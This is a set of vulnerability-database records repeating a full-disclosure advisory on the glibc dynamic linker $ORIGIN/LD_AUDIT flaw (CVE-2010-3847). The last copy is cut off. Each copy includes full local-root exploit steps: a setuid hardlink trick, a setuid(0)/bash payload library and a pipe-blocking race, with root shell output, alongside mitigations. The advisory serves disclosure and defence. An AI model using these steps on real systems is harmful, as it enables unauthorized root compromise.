{"seebug": [{"lastseen": "2017-11-19T15:37:59", "bulletinFamily": "exploit", "description": "No description provided by source.", "modified": "2014-07-01T00:00:00", "published": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-70027", "id": "SSV:70027", "title": "GNU C library dynamic linker $ORIGIN expansion Vulnerability", "type": "seebug", "sourceData": "\n from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2\r\n\r\nThe GNU C library dynamic linker expands $ORIGIN in setuid library search path\r\n------------------------------------------------------------------------------\r\n\r\nGruezi, This is CVE-2010-3847.\r\n\r\nThe dynamic linker (or dynamic loader) is responsible for the runtime linking of\r\ndynamically linked programs. ld.so operates in two security modes, a permissive\r\nmode that allows a high degree of control over the load operation, and a secure\r\nmode (libc_enable_secure) intended to prevent users from interfering with the\r\nloading of privileged executables.\r\n\r\n$ORIGIN is an ELF substitution sequence representing the location of the\r\nexecutable being loaded in the filesystem hierarchy. The intention is to allow\r\nexecutables to specify a search path for libraries that is relative to their\r\nlocation, to simplify packaging without spamming the standard search paths with\r\nsingle-use libraries.\r\n\r\nNote that despite the confusing naming convention, $ORIGIN is specified in a\r\nDT_RPATH or DT_RUNPATH dynamic tag inside the executable itself, not via the\r\nenvironment (developers would normally use the -rpath ld parameter, or\r\n-Wl,-rpath,$ORIGIN via the compiler driver).\r\n\r\nThe ELF specification suggests that $ORIGIN be ignored for SUID and SGID\r\nbinaries,\r\n\r\nhttp://web.archive.org/web/20041026003725/http://www.caldera.com/developers/gabi/2003-12-17/ch5.dynamic.html#substitution\r\n\r\n"For security, the dynamic linker does not allow use of $ORIGIN substitution\r\n sequences for set-user and set-group ID programs. For such sequences that\r\n appear within strings specified by DT_RUNPATH dynamic array entries, the\r\n specific search path containing the $ORIGIN sequence is ignored (though other\r\n search paths in the same string are processed). $ORIGIN sequences within a\r\n DT_NEEDED entry or path passed as a parameter to dlopen() are treated as\r\n errors. The same restrictions may be applied to processes that have more than\r\n minimal privileges on systems with installed extended security mechanisms."\r\n\r\nHowever, glibc ignores this recommendation. The attack the ELF designers were\r\nlikely concerned about is users creating hardlinks to suid executables in\r\ndirectories they control and then executing them, thus controlling the\r\nexpansion of $ORIGIN.\r\n\r\nIt is tough to form a thorough complaint about this glibc behaviour however,\r\nas any developer who believes they're smart enough to safely create suid\r\nprograms should be smart enough to understand the implications of $ORIGIN\r\nand hard links on load behaviour. The glibc maintainers are some of the\r\nsmartest guys in free software, and well known for having a "no hand-holding"\r\nstance on various issues, so I suspect they wanted a better argument than this\r\nfor modifying the behaviour (I pointed it out a few years ago, but there was\r\nlittle interest).\r\n\r\nHowever, I have now discovered a way to exploit this. The origin expansion\r\nmechanism is recycled for use in LD_AUDIT support, although an attempt is made\r\nto prevent it from working, it is insufficient.\r\n\r\nLD_AUDIT is intended for use with the linker auditing api (see the rtld-audit\r\nmanual), and has the usual restrictions for setuid programs as LD_PRELOAD does.\r\nHowever, $ORIGIN expansion is only prevented if it is not used in isolation.\r\n\r\nThe codepath that triggers this expansion is\r\n\r\n _dl_init_paths() -> _dl_dst_substitute() -> _is_dst()\r\n\r\n(in the code below DST is dynamic string token)\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l741\r\n\r\n 741 /* Expand DSTs. */\r\n 742 size_t cnt = DL_DST_COUNT (llp, 1);\r\n 743 if (__builtin_expect (cnt == 0, 1))\r\n 744 llp_tmp = strdupa (llp);\r\n 745 else\r\n 746 {\r\n 747 /* Determine the length of the substituted string. */\r\n 748 size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);\r\n 749\r\n 750 /* Allocate the necessary memory. */\r\n 751 llp_tmp = (char *) alloca (total + 1);\r\n 752 llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);\r\n 753 }\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l245\r\n\r\n 253 if (__builtin_expect (*name == '$', 0))\r\n 254 {\r\n 255 const char *repl = NULL;\r\n 256 size_t len;\r\n 257\r\n 258 ++name;\r\n 259 if ((len = is_dst (start, name, "ORIGIN", is_path,\r\n 260 INTUSE(__libc_enable_secure))) != 0)\r\n 261 {\r\n ...\r\n 267 repl = l->l_origin;\r\n 268 }\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l171\r\n\r\n\r\n 202 if (__builtin_expect (secure, 0)\r\n 203 && ((name[len] != '\\0' && (!is_path || name[len] != ':'))\r\n 204 || (name != start + 1 && (!is_path || name[-2] != ':'))))\r\n 205 return 0;\r\n 206\r\n 207 return len;\r\n 208 }\r\n\r\nAs you can see, $ORIGIN is only expanded if it is alone and first in the path.\r\nThis makes little sense, and does not appear to be useful even if there were\r\nno security impact. This was most likely the result of an attempt to re-use the\r\nexisting DT_NEEDED resolution infrastructure for LD_AUDIT support, accidentally\r\nintroducing this error.\r\n\r\nPerhaps surprisingly, this error is exploitable.\r\n\r\n--------------------\r\nAffected Software\r\n------------------------\r\n\r\nAt least the following versions have been tested\r\n\r\n 2.12.1, FC13\r\n 2.5, RHEL5 / CentOS5\r\n\r\nOther versions are probably affected, possibly via different vectors. I'm aware\r\nseveral versions of ld.so in common use hit an assertion in dl_open_worker, I\r\ndo not know if it's possible to avoid this.\r\n\r\n--------------------\r\nConsequences\r\n-----------------------\r\n\r\nIt is possible to exploit this flaw to execute arbitrary code as root.\r\n\r\nPlease note, this is a low impact vulnerability that is only of interest to\r\nsecurity professionals and system administrators. End users do not need\r\nto be concerned.\r\n\r\nExploitation would look like the following.\r\n\r\n# Create a directory in /tmp we can control.\r\n$ mkdir /tmp/exploit\r\n\r\n# Link to an suid binary, thus changing the definition of $ORIGIN.\r\n$ ln /bin/ping /tmp/exploit/target\r\n\r\n# Open a file descriptor to the target binary (note: some users are surprised\r\n# to learn exec can be used to manipulate the redirections of the current\r\n# shell if a command is not specified. This is what is happening below).\r\n$ exec 3< /tmp/exploit/target\r\n\r\n# This descriptor should now be accessible via /proc.\r\n$ ls -l /proc/$$/fd/3\r\nlr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*\r\n\r\n# Remove the directory previously created\r\n$ rm -rf /tmp/exploit/\r\n\r\n# The /proc link should still exist, but now will be marked deleted.\r\n$ ls -l /proc/$$/fd/3\r\nlr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)\r\n\r\n# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to dlopen().\r\n$ cat > payload.c\r\nvoid __attribute__((constructor)) init()\r\n{\r\n setuid(0);\r\n system("/bin/bash");\r\n}\r\n^D\r\n$ gcc -w -fPIC -shared -o /tmp/exploit payload.c\r\n$ ls -l /tmp/exploit\r\n-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*\r\n\r\n# Now force the link in /proc to load $ORIGIN via LD_AUDIT.\r\n$ LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/3\r\nsh-4.1# whoami\r\nroot\r\nsh-4.1# id\r\nuid=0(root) gid=500(taviso)\r\n\r\n-------------------\r\nMitigation\r\n-----------------------\r\n\r\nIt is a good idea to prevent users from creating files on filesystems mounted\r\nwithout nosuid. The following interesting solution for administrators who\r\ncannot modify their partitioning scheme was suggested to me by Rob Holland\r\n(@robholland):\r\n\r\nYou can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid,\r\nfor example:\r\n\r\n# mount -o bind /tmp /tmp\r\n# mount -o remount,bind,nosuid /tmp /tmp\r\n\r\nBe aware of race conditions at boot via crond/atd/etc, and users with\r\nreferences to existing directories (man lsof), but this may be an acceptable\r\nworkaround until a patch is ready for deployment.\r\n\r\n(Of course you need to do this everywhere untrusted users can make links to\r\nsuid/sgid binaries. find(1) is your friend).\r\n\r\nIf someone wants to create an init script that would automate this at boot for\r\ntheir distribution, I'm sure it would be appreciated by other administrators.\r\n\r\n-------------------\r\nSolution\r\n-----------------------\r\n\r\nMajor distributions should be releasing updated glibc packages shortly.\r\n\r\n-------------------\r\nCredit\r\n-----------------------\r\n\r\nThis bug was discovered by Tavis Ormandy.\r\n\r\n-------------------\r\nGreetz\r\n-----------------------\r\n\r\nGreetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,\r\nAsirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,\r\nand all my other elite friends and colleagues.\r\n\r\nAdditional greetz to the openwall guys who saw this problem coming years ago.\r\nThey continue to avoid hundreds of security vulnerabilities each year thanks to\r\ntheir insight into systems security.\r\n\r\nhttp://www.openwall.com/owl/\r\n\r\n-------------------\r\nNotes\r\n-----------------------\r\n\r\nThere are several known techniques to exploit dynamic loader bugs for suid\r\nbinaries, the fexecve() technique listed in the Consequences section above is a\r\nmodern technique, making use of relatively recent Linux kernel features (it was\r\nfirst suggested to me by Adam Langley while discussing CVE-2009-1894, but I\r\nbelieve Gabriel Campana came up with the same solution independently).\r\n\r\nThe classic UNIX technique is a little less elegant, but has the advantage that\r\nread access is not required for the target binary. It is rather common for\r\nadministrators to remove read access from suid binaries in order to make\r\nattackers work a little harder, so I will document it here for reference.\r\n\r\nThe basic idea is to create a pipe(), fill it up with junk (pipes have 2^16\r\nbytes capacity on Linux, see the section on "Pipe Capacity" in pipe(7) from the\r\nLinux Programmers Manual), then dup2() it to stderr. Following the dup2(),\r\nanything written to stderr will block, so you simply execve() and then make the\r\nloader print some error message, allowing you to reliably win any race\r\ncondition.\r\n\r\nLD_DEBUG has always been a a good candidate for getting error messages on\r\nLinux. The behaviour of LD_DEBUG was modified a few years ago in response to\r\nsome minor complaints about information leaks, but it can still be used with a\r\nslight modification (I first learned of this technique from a bugtraq posting\r\nby Jim Paris in 2004, http://seclists.org/bugtraq/2004/Aug/281).\r\n\r\nThe exploit flow for this alternative attack is a little more complicated, but\r\nwe can still use the shell to do it (this session is from an FC13 system,\r\noutput cleaned up for clarity).\r\n\r\n# Almost fill up a pipe with junk, then dup2() it to stderr using redirection.\r\n$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\\$ORIGIN" /tmp/exploit/target 2>&1) | (sleep 1h; cat) &\r\n[1] 26926\r\n\r\n# Now ld.so is blocked on write() in the background trying to say "invalid\r\n# debug option", so we are free to manipulate the filesystem.\r\n$ rm -rf /tmp/exploit/\r\n\r\n# Put exploit payload in place.\r\n$ gcc -w -fPIC -shared -o /tmp/exploit payload.c\r\n\r\n# Clear the pipe by killing sleep, letting cat drain the contents. This will\r\n# unblock the target, allowing it to continue.\r\n$ pkill -n -t $(tty | sed 's#/dev/##') sleep\r\n-bash: line 99: 26929 Terminated sleep 1h\r\n\r\n# And now we can take control of a root shell :-)\r\n$ fg\r\nsh-4.1# id\r\nuid=0(root) gid=500(taviso)\r\n\r\nAnother technique I'm aware of is setting a ridiculous LD_HWCAP_MASK, then\r\nwhile the loader is trying to map lots of memory, you have a good chance of\r\nwinning any race. I previously found an integer overflow in this feature and\r\nsuggested adding LD_HWCAP_MASK to the unsecure vars list, however the glibc\r\nmaintainers disagreed and just fixed the overflow.\r\n\r\nhttp://www.cygwin.com/ml/libc-hacker/2007-07/msg00001.html\r\n\r\nI believe this is still a good idea, and LD_HWCAP_MASK is where I would bet the\r\nnext big loader bug is going to be, it's just not safe to let attackers have\r\nthat much control over the execution environment of privileged programs.\r\n\r\nFinally, some notes on ELF security for newcomers. The following common\r\nconditions are usually exploitable:\r\n\r\n - An empty DT_RPATH, i.e. -Wl,-rpath,""\r\n This is a surprisingly common build error, due to variable expansion\r\n failing during the build process.\r\n - A relative, rather than absolute DT_RPATH.\r\n For example, -Wl,-rpath,"lib/foo".\r\n\r\nI'll leave it as an exercise for the interested reader to explain why. Remember\r\nto also follow DT_NEEDED dependencies, as dependencies can also declare rpaths\r\nfor their dependencies, and so on.\r\n\r\n-------------------\r\nReferences\r\n-----------------------\r\n\r\n- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.\r\n- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux Programmer's Manual.\r\n- http://man.cx/pipe%287%29, Overview of pipes and FIFOs (Pipe Capacity), Linux Programmer's Manual.\r\n- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.\r\n- Partitioning schemes and security, http://my.opera.com/taviso/blog/show.dml/654574\r\n- CVE-2009-1894 description, http://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html\r\n\r\nYou should subscribe to Linux Weekly News and help support their high standard\r\nof security journalism.\r\n\r\nhttp://lwn.net/\r\n\r\nI have a twitter account where I occasionally comment on security topics.\r\n\r\nhttp://twitter.com/taviso\r\n\r\nex$$\n ", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-70027"}], "securityvulns": [{"lastseen": "2018-08-31T11:10:37", "bulletinFamily": "software", "description": "The GNU C library dynamic linker expands $ORIGIN in setuid library search path\r\n------------------------------------------------------------------------------\r\n\r\nGruezi, This is CVE-2010-3847.\r\n\r\nThe dynamic linker (or dynamic loader) is responsible for the runtime linking of\r\ndynamically linked programs. ld.so operates in two security modes, a permissive\r\nmode that allows a high degree of control over the load operation, and a secure\r\nmode (libc_enable_secure) intended to prevent users from interfering with the\r\nloading of privileged executables.\r\n\r\n$ORIGIN is an ELF substitution sequence representing the location of the\r\nexecutable being loaded in the filesystem hierarchy. The intention is to allow\r\nexecutables to specify a search path for libraries that is relative to their\r\nlocation, to simplify packaging without spamming the standard search paths with\r\nsingle-use libraries.\r\n\r\nNote that despite the confusing naming convention, $ORIGIN is specified in a\r\nDT_RPATH or DT_RUNPATH dynamic tag inside the executable itself, not via the\r\nenvironment (developers would normally use the -rpath ld parameter, or\r\n-Wl,-rpath,$ORIGIN via the compiler driver).\r\n\r\nThe ELF specification suggests that $ORIGIN be ignored for SUID and SGID\r\nbinaries,\r\n\r\nhttp://web.archive.org/web/20041026003725/http://www.caldera.com/developers/gabi/2003-12-17/ch5.dynamic.html#substitution\r\n\r\n"For security, the dynamic linker does not allow use of $ORIGIN substitution\r\n sequences for set-user and set-group ID programs. For such sequences that\r\n appear within strings specified by DT_RUNPATH dynamic array entries, the\r\n specific search path containing the $ORIGIN sequence is ignored (though other\r\n search paths in the same string are processed). $ORIGIN sequences within a\r\n DT_NEEDED entry or path passed as a parameter to dlopen() are treated as\r\n errors. The same restrictions may be applied to processes that have more than\r\n minimal privileges on systems with installed extended security mechanisms."\r\n\r\nHowever, glibc ignores this recommendation. The attack the ELF designers were\r\nlikely concerned about is users creating hardlinks to suid executables in\r\ndirectories they control and then executing them, thus controlling the\r\nexpansion of $ORIGIN.\r\n\r\nIt is tough to form a thorough complaint about this glibc behaviour however,\r\nas any developer who believes they're smart enough to safely create suid\r\nprograms should be smart enough to understand the implications of $ORIGIN\r\nand hard links on load behaviour. The glibc maintainers are some of the\r\nsmartest guys in free software, and well known for having a "no hand-holding"\r\nstance on various issues, so I suspect they wanted a better argument than this\r\nfor modifying the behaviour (I pointed it out a few years ago, but there was\r\nlittle interest).\r\n\r\nHowever, I have now discovered a way to exploit this. The origin expansion\r\nmechanism is recycled for use in LD_AUDIT support, although an attempt is made\r\nto prevent it from working, it is insufficient.\r\n\r\nLD_AUDIT is intended for use with the linker auditing api (see the rtld-audit\r\nmanual), and has the usual restrictions for setuid programs as LD_PRELOAD does.\r\nHowever, $ORIGIN expansion is only prevented if it is not used in isolation.\r\n\r\nThe codepath that triggers this expansion is\r\n\r\n _dl_init_paths() -> _dl_dst_substitute() -> _is_dst()\r\n\r\n(in the code below DST is dynamic string token)\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l741\r\n\r\n 741 /* Expand DSTs. */\r\n 742 size_t cnt = DL_DST_COUNT (llp, 1);\r\n 743 if (__builtin_expect (cnt == 0, 1))\r\n 744 llp_tmp = strdupa (llp);\r\n 745 else\r\n 746 {\r\n 747 /* Determine the length of the substituted string. */\r\n 748 size_t total = DL_DST_REQUIRED (l, llp, strlen (llp), cnt);\r\n 749\r\n 750 /* Allocate the necessary memory. */\r\n 751 llp_tmp = (char *) alloca (total + 1);\r\n 752 llp_tmp = _dl_dst_substitute (l, llp, llp_tmp, 1);\r\n 753 }\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l245\r\n\r\n 253 if (__builtin_expect (*name == '$', 0))\r\n 254 {\r\n 255 const char *repl = NULL;\r\n 256 size_t len;\r\n 257\r\n 258 ++name;\r\n 259 if ((len = is_dst (start, name, "ORIGIN", is_path,\r\n 260 INTUSE(__libc_enable_secure))) != 0)\r\n 261 {\r\n ...\r\n 267 repl = l->l_origin;\r\n 268 }\r\n\r\nhttp://sourceware.org/git/?p=glibc.git;a=blob;f=elf/dl-load.c;h=a7162eb77de7a538235a4326d0eb9ccb5b244c01;hb=HEAD#l171\r\n\r\n\r\n 202 if (__builtin_expect (secure, 0)\r\n 203 && ((name[len] != '\0' && (!is_path || name[len] != ':'))\r\n 204 || (name != start + 1 && (!is_path || name[-2] != ':'))))\r\n 205 return 0;\r\n 206\r\n 207 return len;\r\n 208 }\r\n\r\nAs you can see, $ORIGIN is only expanded if it is alone and first in the path.\r\nThis makes little sense, and does not appear to be useful even if there were\r\nno security impact. This was most likely the result of an attempt to re-use the\r\nexisting DT_NEEDED resolution infrastructure for LD_AUDIT support, accidentally\r\nintroducing this error.\r\n\r\nPerhaps surprisingly, this error is exploitable.\r\n\r\n--------------------\r\nAffected Software\r\n------------------------\r\n\r\nAt least the following versions have been tested\r\n\r\n 2.12.1, FC13\r\n 2.5, RHEL5 / CentOS5\r\n\r\nOther versions are probably affected, possibly via different vectors. I'm aware\r\nseveral versions of ld.so in common use hit an assertion in dl_open_worker, I\r\ndo not know if it's possible to avoid this.\r\n\r\n--------------------\r\nConsequences\r\n-----------------------\r\n\r\nIt is possible to exploit this flaw to execute arbitrary code as root.\r\n\r\nPlease note, this is a low impact vulnerability that is only of interest to\r\nsecurity professionals and system administrators. End users do not need\r\nto be concerned.\r\n\r\nExploitation would look like the following.\r\n\r\n# Create a directory in /tmp we can control.\r\n$ mkdir /tmp/exploit\r\n\r\n# Link to an suid binary, thus changing the definition of $ORIGIN.\r\n$ ln /bin/ping /tmp/exploit/target\r\n\r\n# Open a file descriptor to the target binary (note: some users are surprised\r\n# to learn exec can be used to manipulate the redirections of the current\r\n# shell if a command is not specified. This is what is happening below).\r\n$ exec 3< /tmp/exploit/target\r\n\r\n# This descriptor should now be accessible via /proc.\r\n$ ls -l /proc/$$/fd/3\r\nlr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*\r\n\r\n# Remove the directory previously created\r\n$ rm -rf /tmp/exploit/\r\n\r\n# The /proc link should still exist, but now will be marked deleted.\r\n$ ls -l /proc/$$/fd/3\r\nlr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target\r\n(deleted)\r\n\r\n# Replace the directory with a payload DSO, thus making $ORIGIN a valid target to\r\ndlopen().\r\n$ cat > payload.c\r\nvoid __attribute__((constructor)) init()\r\n{\r\n setuid(0);\r\n system("/bin/bash");\r\n}\r\n^D\r\n$ gcc -w -fPIC -shared -o /tmp/exploit payload.c\r\n$ ls -l /tmp/exploit\r\n-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*\r\n\r\n# Now force the link in /proc to load $ORIGIN via LD_AUDIT.\r\n$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3\r\nsh-4.1# whoami\r\nroot\r\nsh-4.1# id\r\nuid=0(root) gid=500(taviso)\r\n\r\n-------------------\r\nMitigation\r\n-----------------------\r\n\r\nIt is a good idea to prevent users from creating files on filesystems mounted\r\nwithout nosuid. The following interesting solution for administrators who\r\ncannot modify their partitioning scheme was suggested to me by Rob Holland\r\n(@robholland):\r\n\r\nYou can use bind mounts to make directories like /tmp, /var/tmp, etc., nosuid,\r\nfor example:\r\n\r\n# mount -o bind /tmp /tmp\r\n# mount -o remount,bind,nosuid /tmp /tmp\r\n\r\nBe aware of race conditions at boot via crond/atd/etc, and users with\r\nreferences to existing directories (man lsof), but this may be an acceptable\r\nworkaround until a patch is ready for deployment.\r\n\r\n(Of course you need to do this everywhere untrusted users can make links to\r\nsuid/sgid binaries. find(1) is your friend).\r\n\r\nIf someone wants to create an init script that would automate this at boot for\r\ntheir distribution, I'm sure it would be appreciated by other administrators.\r\n\r\n-------------------\r\nSolution\r\n-----------------------\r\n\r\nMajor distributions should be releasing updated glibc packages shortly.\r\n\r\n-------------------\r\nCredit\r\n-----------------------\r\n\r\nThis bug was discovered by Tavis Ormandy.\r\n\r\n-------------------\r\nGreetz\r\n-----------------------\r\n\r\nGreetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,\r\nAsirap, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene, Bruce D.,\r\nand all my other elite friends and colleagues.\r\n\r\nAdditional greetz to the openwall guys who saw this problem coming years ago.\r\nThey continue to avoid hundreds of security vulnerabilities each year thanks to\r\ntheir insight into systems security.\r\n\r\nhttp://www.openwall.com/owl/\r\n\r\n-------------------\r\nNotes\r\n-----------------------\r\n\r\nThere are several known techniques to exploit dynamic loader bugs for suid\r\nbinaries, the fexecve() technique listed in the Consequences section above is a\r\nmodern technique, making use of relatively recent Linux kernel features (it was\r\nfirst suggested to me by Adam Langley while discussing CVE-2009-1894, but I\r\nbelieve Gabriel Campana came up with the same solution independently).\r\n\r\nThe classic UNIX technique is a little less elegant, but has the advantage that\r\nread access is not required for the target binary. It is rather common for\r\nadministrators to remove read access from suid binaries in order to make\r\nattackers work a little harder, so I will document it here for reference.\r\n\r\nThe basic idea is to create a pipe(), fill it up with junk (pipes have 2^16\r\nbytes capacity on Linux, see the section on "Pipe Capacity" in pipe(7) from the\r\nLinux Programmers Manual), then dup2() it to stderr. Following the dup2(),\r\nanything written to stderr will block, so you simply execve() and then make the\r\nloader print some error message, allowing you to reliably win any race\r\ncondition.\r\n\r\nLD_DEBUG has always been a a good candidate for getting error messages on\r\nLinux. The behaviour of LD_DEBUG was modified a few years ago in response to\r\nsome minor complaints about information leaks, but it can still be used with a\r\nslight modification (I first learned of this technique from a bugtraq posting\r\nby Jim Paris in 2004, http://seclists.org/bugtraq/2004/Aug/281).\r\n\r\nThe exploit flow for this alternative attack is a little more complicated, but\r\nwe can still use the shell to do it (this session is from an FC13 system,\r\noutput cleaned up for clarity).\r\n\r\n# Almost fill up a pipe with junk, then dup2() it to stderr using redirection.\r\n$ (head -c 65534 /dev/zero; LD_DEBUG=nonsense LD_AUDIT="\$ORIGIN"\r\n/tmp/exploit/target 2>&1) | (sleep 1h; cat) &\r\n[1] 26926\r\n\r\n# Now ld.so is blocked on write() in the background trying to say "invalid\r\n# debug option", so we are free to manipulate the filesystem.\r\n$ rm -rf /tmp/exploit/\r\n\r\n# Put exploit payload in place.\r\n$ gcc -w -fPIC -shared -o /tmp/exploit payload.c\r\n\r\n# Clear the pipe by killing sleep, letting cat drain the contents. This will\r\n# unblock the target, allowing it to continue.\r\n$ pkill -n -t $(tty | sed 's#/dev/##') sleep\r\n-bash: line 99: 26929 Terminated sleep 1h\r\n\r\n# And now we can take control of a root shell :-)\r\n$ fg\r\nsh-4.1# id\r\nuid=0(root) gid=500(taviso)\r\n\r\nAnother technique I'm aware of is setting a ridiculous LD_HWCAP_MASK, then\r\nwhile the loader is trying to map lots of memory, you have a good chance of\r\nwinning any race. I previously found an integer overflow in this feature and\r\nsuggested adding LD_HWCAP_MASK to the unsecure vars list, however the glibc\r\nmaintainers disagreed and just fixed the overflow.\r\n\r\nhttp://www.cygwin.com/ml/libc-hacker/2007-07/msg00001.html\r\n\r\nI believe this is still a good idea, and LD_HWCAP_MASK is where I would bet the\r\nnext big loader bug is going to be, it's just not safe to let attackers have\r\nthat much control over the execution environment of privileged programs.\r\n\r\nFinally, some notes on ELF security for newcomers. The following common\r\nconditions are usually exploitable:\r\n\r\n - An empty DT_RPATH, i.e. -Wl,-rpath,""\r\n This is a surprisingly common build error, due to variable expansion\r\n failing during the build process.\r\n - A relative, rather than absolute DT_RPATH.\r\n For example, -Wl,-rpath,"lib/foo".\r\n\r\nI'll leave it as an exercise for the interested reader to explain why. Remember\r\nto also follow DT_NEEDED dependencies, as dependencies can also declare rpaths\r\nfor their dependencies, and so on.\r\n\r\n-------------------\r\nReferences\r\n-----------------------\r\n\r\n- http://man.cx/ld.so%288%29, The dynamic linker/loader, Linux Programmer's Manual.\r\n- http://man.cx/rtld-audit, The auditing API for the dynamic linker, Linux\r\nProgrammer's Manual.\r\n- http://man.cx/pipe%287%29, Overview of pipes and FIFOs (Pipe Capacity), Linux\r\nProgrammer's Manual.\r\n- Linkers and Loaders, John R. Levine, ISBN 1-55860-496-0.\r\n- Partitioning schemes and security,\r\nhttp://my.opera.com/taviso/blog/show.dml/654574\r\n- CVE-2009-1894 description,\r\nhttp://blog.cr0.org/2009/07/old-school-local-root-vulnerability-in.html\r\n\r\nYou should subscribe to Linux Weekly News and help support their high standard\r\nof security journalism.\r\n\r\nhttp://lwn.net/\r\n\r\nI have a twitter account where I occasionally comment on security topics.\r\n\r\nhttp://twitter.com/taviso\r\n\r\nex$$\r\n\r\n-- \r\n-------------------------------------\r\ntaviso@cmpxchg8b.com | pgp encrypted mail preferred\r\n-------------------------------------------------------", "modified": "2010-10-24T00:00:00", "published": "2010-10-24T00:00:00", "id": "SECURITYVULNS:DOC:24977", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:24977", "title": "The GNU C library dynamic linker expands $ORIGIN in setuid library search path", "type": "securityvulns", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2016-02-01T21:27:31", "bulletinFamily": "exploit", "description": "GNU C library dynamic linker $ORIGIN expansion Vulnerability. CVE-2010-3847,CVE-2010-3847,CVE-2011-0536. Local exploit for linux platform", "modified": "2010-10-18T00:00:00", "published": "2010-10-18T00:00:00", "id": "EDB-ID:15274", "href": "https://www.exploit-db.com/exploits/15274/", "type": "exploitdb", "title": "GNU C library dynamic linker - $ORIGIN expansion Vulnerability", "sourceData": "from: http://marc.info/?l=full-disclosure&m=128739684614072&w=2\r\n\r\nThe GNU C library dynamic linker expands $ORIGIN in setuid library search path\r\n------------------------------------------------------------------------------\r\n\r\nGruezi, This is CVE-2010-3847.\r\n\r\nThe dynamic linker (or dynamic loader) is responsible for the runtime linking of\r\ndynamically linked programs. ld.so operates in two security modes, a permissive\r\nmode that allows a high degree of control over the load operation, and a secure\r\nmode (libc_enable_secure) intended to prevent users from interfering with the\r\nloading of privileged executables.\r\n\r\n$ORIGIN is an ELF substitution sequence representing the location of the\r\nexecutable being loaded in the filesystem hierarchy. The intention is to allow\r\nexecutables to specify a search path for libraries that is relative to their\r\nlocation, to simplify packaging without spamming the standard search paths with\r\nsingle-use libraries.\r\n\r\nNote that despite the confusing naming convention, $ORIGIN is specified in a\r\nDT_RPATH or DT_RUNPATH dynamic tag inside the executable itself, not via the\r\nenvironment (developers would normally use the -rpath ld parameter, or\r\n-Wl,-rpath,$ORIGIN via the compiler driver).\r\n\r\nThe ELF specification suggests that $ORIGIN be ignored for SUID and SGID\r\nbinaries,\r\n\r\nhttp://web.archive.org/web/20041026003725/http://www.caldera.com/developers/gabi/2003-12-17/ch5.dynamic.html#substitution\r\n\r\n\"For security, the dynamic linker does not allow use of $ORIGIN substitution\r\n sequences for set-user and set-group ID programs. For such sequences that\r\n appear within strings specified by DT_RUNPATH dynamic array entries, the\r\n specific search path containing the $ORIGIN sequence is ignored (though other\r\n search paths in the same string are processed). $ORIGIN sequences within a\r\n DT_NEEDED entry or path passed as a parameter to dlopen() are treated as\r\n errors. The same restrictions may be applied to processes that have more than\r\n minimal privileges on systems with installed extended security mechanisms.\"\r\n\r\nHowever, glibc ignores this recommendation. The attack the ELF designers were\r\nlikely concerned about is users creating hardlinks to suid executables in\r\ndirectories they control and then executing them, thus controlling the\r\nexpansion of $ORIGIN.\r\n\r\nIt is tough to form a thorough complaint about this glibc behaviour however,\r\nas any developer who believes they're smart enough to safely create suid\r\nprograms should be smart enough to understand the implications of $ORIGIN\r\nand hard links on load behaviour. The glibc maintainers are some of the\r\nsmartest guys in free software, and well known for having a \"no hand-holding\"\r\nstance on various issues, so I suspect they wanted a better argument than this\r\nfor modifying the behaviour (I pointed it out a few years ago, but there was\r\nlittle interest).\r\n\r\nHowever, I have now discovered a way to exploit this. The origin expansion\r\nmechanism is recycled for use in LD_AUDIT support, although an attempt is made\r\nto prevent it from working, it is insufficient.\r\n\r\nLD_AUDIT is intended for use with the linker auditing api (see the rtld-audit\r\nmanual), and has the usual restrictions for setuid programs as LD_PRELOAD does.\r\nHowever, $ORIGIN expansion is only prevented if it is not used in isolation.\r\n\r\nThe codepath that triggers this expansion is\r\n\r\n _dl_init_paths() -> _dl_dst_substitute() -> 